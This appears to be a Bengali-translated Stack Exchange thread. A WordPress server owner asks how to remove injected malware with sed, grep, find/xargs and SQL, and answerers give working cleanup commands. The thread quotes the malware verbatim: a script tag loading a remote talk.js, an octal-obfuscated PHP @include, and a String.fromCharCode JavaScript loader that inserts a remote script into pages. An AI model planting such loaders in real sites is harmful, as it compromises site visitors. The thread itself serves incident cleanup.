সিড বা সম্ভবত গ্রেপ ব্যবহার করে কীভাবে পুরো স্ট্রিং প্রতিস্থাপন করবেন


10

সুতরাং আমার পুরো সার্ভারটি হ্যাক হয়ে গেছে বা ম্যালওয়্যারের সমস্যা পেয়েছে। আমার সাইটটি ওয়ার্ডপ্রেস ভিত্তিক এবং আমার সার্ভারে হোস্ট করা বেশিরভাগ সাইট ওয়ার্ডপ্রেস ভিত্তিক। হ্যাকার প্রতিটি একক ফাইল এবং ডাটাবেসে কোডের এই লাইনটি যুক্ত করে

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

আমি গ্রেপ ব্যবহার করে এটি অনুসন্ধান করেছিলাম

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

আমি ফাইলের কাঠামো জুড়ে এটি প্রতিস্থাপনের চেষ্টা করছি sedএবং আমি নিম্নলিখিত কমান্ডটি লিখেছি।

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

আমি index.phpপ্রথমে একটি একক ফাইলে স্ট্রিংটি প্রতিস্থাপনের চেষ্টা করছি , তাই আমি জানি এটি কাজ করে।

এবং আমি জানি আমার কোডটি ভুল। অনুগ্রহ করে এটির দ্বারা আমাকে সাহায্য করুন.

আমি @ ইরানের কোড দিয়ে চেষ্টা করেছি এবং এটি পুরো লাইনটি মুছে ফেলেছে, যা ভাল এবং প্রত্যাশার মতো। যাইহোক, মোট জার্গন এটি

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

এবং আমি সমস্ত সামগ্রী মুছতে চাইলে, পিএইচপি খোলার ট্যাগ রাখতে চাই <?php

যদিও @ স্লাইব্লটির সমাধানটি সহজ এবং এটি কার্যকর।

সুতরাং সমস্ত ক্ষতিগ্রস্থ ফাইল থেকে কোড পুরোপুরি সরিয়ে ফেলতে। আমি নিম্নলিখিত 3 টি কমান্ড চালাচ্ছি, এর জন্য আপনাকে সকলকে ধন্যবাদ।

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - স্ক্রিপ্ট লাইন সরান
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- @includeলাইন সরাতে
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - মন্তব্য লাইন অপসারণ করতে

এছাড়াও, আমি আবার 3 টি কমান্ড দৌড়েছি '*.html'কারণ হ্যাকারের স্ক্রিপ্ট সমস্ত ডিরেক্টরিতে অযাচিত সূচক html তৈরি করেছে। আমি নিশ্চিত ছিলাম না যে এই সূচকগুলি। Html বিপুল পরিমাণে মুছে ফেলা সঠিক পন্থা।

এখন, আমার এখনও এর জাঙ্ক ফাইলগুলি এবং এর চিহ্নগুলি খুঁজে বের করতে হবে।

হ্যাকার স্ক্রিপ্ট পাশাপাশি জেএস কোড যুক্ত করেছে।

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

আমি sedএটি করতে পারি কিনা তা দেখার চেষ্টা করছি ।


আপনি কীভাবে জানবেন যে আপনার কোডটি ভুল?
বিটা

কারণ, আমি এটি চালিয়েছি এবং এটি পরের লাইনে input> at এর মতো আরও ইনপুট চাইতে থাকে
দিলীপ গুপ্ত

2
আপনি কি শুধু লাইনটি মুছতে পারবেন না? sed -i '/ trasnaltemyrecords / d'
বেন-নাটান

1
এছাড়াও, আপনি আপনার, grep সেখানে ফিড সমস্ত ফাইল ভালো তাদের মধ্যে এই লাইন দিয়ে যোগ করতে পারিনি: বিকল্প শুধু ফাইলের নাম এবং ম্যাচিং টেক্সট প্রদান করে। while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
জেসন 16

1
আরও একটি জিনিস ... আপনি যদি এই পদ্ধতিটি গ্রহণ করেন তবে আমি এর জন্য "ব্যাক আপ" alচ্ছিক প্যারামিটারটির সুবিধা নেব sed -i। উদাহরণস্বরূপ, সম্পাদিত সমস্ত ফাইলের জন্য sed -i.bakএকটি *.bakফাইল তৈরি করবে । while...grepলুপটি ব্যবহার করার সময় , আপনি কেবল সেই স্ট্রিং থাকা ফাইলগুলিকে ব্যাক আপ করবেন। সমস্ত অতিরিক্ত মন্তব্যের জন্য দুঃখিত, তবে আমার মতে, ম্যালওয়্যারটি একটি "ডেক অন সমস্ত হাত" এর দৃশ্যপট is
জেসন

উত্তর:


2

"স্ট্রিংয়ের জন্য ডাবল কোট ( ) ব্যবহার করুন এবং একক উদ্ধৃতি ( ') অথবা ট্যাগগুলি ( <>) এড়িয়ে চলবেন না । কেবল স্ল্যাশ ( /) ছাড়ুন ।

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

আপনি যে পদ্ধতিটি সিডের সাথে ব্যবহারের সিদ্ধান্ত নেবেন না কেন, আপনি এক সাথে একাধিক প্রক্রিয়া একযোগে একাধিক ফাইলে চালাতে পারবেন findএবং এর সাথে নিখুঁত ফিল্টারিং বিকল্পগুলি দিয়ে xargs। উদাহরণ স্বরূপ:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

এটি হবে:

  • find - অনুসন্ধান
  • -type f - শুধুমাত্র ফাইল
  • -name '*.txt' - পিএইচপি সঙ্গে শেষ
  • -print0 - এগুলি শূন্য বাইট দ্বারা পৃথক পৃথক করুন
  • | xargs -0 - প্রতিটি ফাইলের জন্য শূন্য বাইট দ্বারা পৃথক করা
  • -P7 - একযোগে 7 প্রক্রিয়া চালান
  • -n1 - প্রতিটি ফাইলের জন্য
  • sed - প্রতিটি ফাইলের জন্য সেড
  • -i - জায়গায় ফাইল সম্পাদনা করুন
  • '...' - আপনি অন্যান্য উত্তর থেকে চালাতে চান সেড স্ক্রিপ্ট।

অগ্রগতিটি দেখতে আপনি -tবিকল্প যুক্ত করতে চাইতে পারেন xargs। দেখুন মানুষ খুঁজে (মানুষ args] ( http://man7.org/linux/man-pages/man1/xargs.1.html )।


2

একক উদ্ধৃতি অক্ষর অক্ষর ছাড়া আক্ষরিক নেওয়া হয়। ইন var='hello\'', আপনার কাছে একটি আন-ক্লোজড উদ্ধৃতি রয়েছে।

এই সমস্যাটি সমাধানের জন্য, 1) ডাবল উক্তি ব্যবহার করুন sedকমান্ডের চারপাশে বা 2) একক উদ্ধৃত স্ট্রিংটি সমাপ্ত করুন, যোগ করুন \'এবং উদ্ধৃতি স্ট্রিংটি আবার খুলুন।

তবে দ্বিতীয় পদ্ধতিটি আরও বিভ্রান্তিকর।

অতিরিক্তভাবে, sedপৃথক কমান্ডগুলির জন্য যে কোনও ডিলিমিটার ব্যবহার করতে পারেন। যেহেতু আপনার কমান্ডগুলিতে স্ল্যাশ রয়েছে তাই কমা ব্যবহার করা সহজ। উদাহরণস্বরূপ, প্রথম পদ্ধতিটি ব্যবহার করে:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

দ্বিতীয় পদ্ধতি ব্যবহার:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

এই উদাহরণ ব্যবহারিক চেয়ে শিক্ষামূলক। এখানে কীভাবে '\''কাজ করে:

প্রথম ': সমাপ্ত বর্তমান উদ্ধৃত আক্ষরিক স্ট্রিং

\': আক্ষরিক চরিত্র হিসাবে একক উদ্ধৃতি লিখুন

দ্বিতীয় ': উদ্ধৃত আক্ষরিক স্ট্রিং পুনরায় প্রবেশ করুন

যতক্ষণ না সেখানে কোনও স্থান নেই, আপনি কেবল আপনার sedআদেশটি চালিয়ে যাবেন । এই ধারণাটি অনন্য bash

আমি পালিয়ে যাওয়া <এবং >সেখানে চলে যাচ্ছি কারণ আপনি কী জন্য এটি ব্যবহার করছেন তা আমি পুরোপুরি নিশ্চিত নই। শব্দের সাথে মিলের অর্থ এবং sedব্যবহার করে । আমি নিশ্চিত না যে এটি ইচ্ছাকৃত কিনা না।\<\>

যদি এটি কোনও কিছুর সাথে মিলে না যায়, তবে আপনি সম্ভবত <এবং এর থেকে অব্যাহতি এড়াতে চান >

সম্পাদনা করুন: দয়া করে প্রকৃত সমস্যার আরও বাস্তব সমাধানের জন্য মন্তব্যে @ ইরানবেন-নাটনের সমাধানটি দেখুন। আমার উত্তরটি হ'ল ওপেনকে তার আসল কমান্ডের সাহায্যে আরও ইনপুট দেওয়ার জন্য কেন অনুরোধ করা হচ্ছে সে সম্পর্কে আরও একটি সংস্থান রয়েছে।

সম্পাদনা 2 জন্য সমাধান

এটি কাজ করার জন্য, আমি ধরে নিচ্ছি যে আপনার sedঅ-মানক বিকল্প রয়েছে -z। জিএনইউ সংস্করণটির এটি sedথাকা উচিত। আমি এই ধারণাটিও করছি যে এই কোডটি সর্বদা 6 লাইন লম্বা ফর্ম্যাটে উপস্থিত থাকে

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

এটি কীভাবে কাজ করে: আমরাCharCode লাইনটির শুরুতে সমস্ত কিছুর সাথে মিল রেখে ব্যবহার করছি। -zনতুন লাইনের পরিবর্তে ফাইলটি নালায় বিভক্ত করে। এটি আমাদের সরাসরি লাইন ফিডগুলির জন্য অনুসন্ধান করতে দেয়।

[^\n]*\n- এটি লাইন ফিড না হওয়া পর্যন্ত সমস্ত কিছুর সাথে মেলে এবং তারপরে লোভী রেজেক্সের মিলটি এড়িয়ে লাইন ফিডের সাথে মেলে। যেহেতু আমরা লাইন ফিডগুলিতে বিভক্ত হয়েছি না ( -z), রেগেক্স var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nসবচেয়ে বড় সম্ভাব্য ম্যাচের সাথে মেলে। উদাহরণস্বরূপ, যদি \n}\nফাইলের আরও নিচে কোথাও উপস্থিত হয়, আপনি সেখানে এবং দূষিত কোডের মধ্যে থাকা সমস্ত কোড মুছে ফেলবেন। সুতরাং, এই ক্রমটি 6 বার পুনরাবৃত্তি করা আমাদের প্রথম লাইনের শেষে এবং পরবর্তী 5 টি লাইনের সাথে মেলে।

grep -lr- কেবলমাত্র একটি পুনরাবৃত্ত grepযেখানে আমরা কেবল সেই ফাইলগুলির তালিকাই থাকি যাগুলির সাথে মিল রয়েছে। এইভাবে, sedপ্রতিটি ফাইল সম্পাদনা করছে না। এটি না করে -i.bak(প্লেইন নয় -i) একটি গোলমাল করবে।


ধন্যবাদ @ জেসন, আমি এর জন্য আপনার পদ্ধতিটি চেষ্টা করব। এখনই আমার কাছে ব্যাকআপের বিকল্প নেই have সুতরাং আমি এটি পরিষ্কার করতে আটকে আছি।
দিলিপ গুপ্ত

@ দিলিপ গুপ্তা আপনি এখন কোথায় আছেন তা সমর্থন করার পরামর্শ দেব। আপনি rsyncব্যাকআপ এবং পুনরুদ্ধার করার মতো কিছু ব্যবহার করতে পারেন ।
জেসন

আপনি প্রশাসক.এফপি ব্যবহার করেন? এটির সংক্রামক বলে মনে হচ্ছে
জিরো ম্যাচসনসন

1

আপনি কি ডাব্লুপি-মেল-এসএমটিপি প্লাগইন ইনস্টল করেছেন? আমাদের একই ম্যালওয়্যার রয়েছে এবং আমাদের কিছু অদ্ভুত জিনিস ছিল wp-content/plugins/wp-mail-smtp/src/Debug.php

এছাড়াও, জাভাস্ক্রিপ্ট লিঙ্কটি ওয়ার্ডপ্রেস ডেটাবেজে প্রতিটি post_contentক্ষেত্রে রয়েছে wp_posts


হ্যাঁ, আমার কাছে সেই প্লাগইনটি ইনস্টল আছে এবং এটি আপনি যা বলেছিলেন তেমন আছে। আমি প্রথমে পরিষ্কার করার চেষ্টা করছি এবং তারপরে সুরক্ষা আরও জোরদার করব। এছাড়াও নোট করুন, হ্যাকার নামক প্লাগইনটি ইনস্টল করেছিলেন, এটির super-socialatজন্যও পরীক্ষা করুন check
দিলীপ গুপ্ত

আপনি ঠিক কি খুঁজে পেয়েছিলেন যে ডিবাগ.এফপি, আমি সেখানে কোনও অদ্ভুত কিছু খুঁজে পাইনি তবে এটি অন্য কোনও ফাইলে সঞ্চিত আছে, যদি আপনি কোডের কিছু অংশ সরবরাহ করেন তবে আমি দয়া করে ফাইলগুলি অনুসন্ধান করতে পারি? নতুন প্লাগইন ইনস্টল করা যায় নি।
জিরো ম্যাচসনসন

1
আপনি কোন সম্পাদক ব্যবহার করেছেন? যদি আমি এটি ভিমে খুলি, তবে আমি সেই অদ্ভুত জিনিসটি দেখতে পাব, তবে ন্যানো বা জ্যানির মতো কোনও সম্পাদক নয় .... imgur.com/a/wC9XAIy পেস্টবিন.
com

হাই, আমি উইনসপির মাধ্যমে সেটির দিকে চেয়ে ছিলাম, তবে এখন vi চেষ্টা করেও, এখনও কিছু পাইনি। উদাহরণস্বরূপ Tnx ফাইলগুলিতে এটি অনুসন্ধানের জন্য ট্রায়াল।
জিরো ম্যাচসনসন

কিছুটা হালকা চেহারা থেকে দেখে মনে হচ্ছে এটি একটি স্কিল স্টেটমেন্ট যা $ গ্লোবালস ভেরিয়েবল বা এর মতো কিছুতে অক্ষরের অবস্থান ব্যবহার করে লেখা হয়েছিল, সুতরাং এটি "ট্র্যাস্নালটেমিরেকর্ডস" সন্ধান করেই পাওয়া যায় না আমি গ্রেপ -আর "NULL সন্ধান করার চেষ্টা করেছি ); @ $ "/ ভার / www / এইচটিএমএল / ।,। । বা অন্যান্য জিনিস কিন্তু কিছুই পাওয়া যায় নি। যাইহোক আমি ওয়ার্ডপ্রেস পৃষ্ঠাতে একটি পুরানো adminer.php ছিল যাতে যে লিক উৎস হতে পারে, হয়তো ..
Jiro Matchonson

0

আমি আজ একই জিনিস পেয়েছি, সমস্ত পৃষ্ঠা পোস্টে এই কদর্য ভাইরাস স্ক্রিপ্ট যুক্ত হয়েছে

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

আমি এটি দ্বারা ডাটাবেস থেকে অক্ষম

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

আমার অন্তত ফাইলগুলি সংক্রামিত হয়নি

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

কোনও জিনিস খুঁজে পাওয়া যায় নি, তবে আমি কী জানি না এটি কীভাবে ডাটাবেসে প্রবেশ করেছিল যা থেকে মোটেও শান্ত নয়।

এই সংক্রমণের ফলে পৃষ্ঠাগুলিতে পুনর্নির্দেশগুলি ঘটেছিল, ক্রোম বেশিরভাগ এটিকে সনাক্ত করে এবং এটি ব্লক করে। - /wp-mail-smtp/src/Debug.php এ অদ্ভুত কিছু লক্ষ্য করেনি


আমি ধরে নিলাম এটি প্লাগিনের কিছু বিরতির সাথে সম্পর্কিত এবং হ্যাকার সাইটে পিছনের দরজা অ্যাক্সেস পেয়েছে।
দিলিপ গুপ্ত

তবে কোন প্লাগইন, 2 জন উত্তীর্ণ হয়েছে এবং সবকিছু আবার পুনর্নির্দেশ করছে
জিরো ম্যাচসনসন

0

আমি আজ একই জিনিস পেয়েছি, সমস্ত পৃষ্ঠা পোস্টে স্ক্রিপ্টটি যুক্ত হয়েছে। Https://en.wordpress.org/plugins/search-and-replace/ প্লাগইন ব্যবহার করে আমি তাদের সাথে সফলভাবে পরিচালনা করেছি ।

তদুপরি, আমি wp_posts টেবিল পোস্ট_সামগ্রী কলামে ফলিং স্ট্রিংয়ের মধ্যে একটি রেকর্ডও পেয়েছি:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

এবং এটি ম্যানুয়ালি মুছে ফেলা হয়েছে।


0

আমার জন্য এটি কাজ করেছে:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

আপনাকে অনুসন্ধান করতে হবে: * .জেএস, * .জসন, * .ম্যাপ

আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.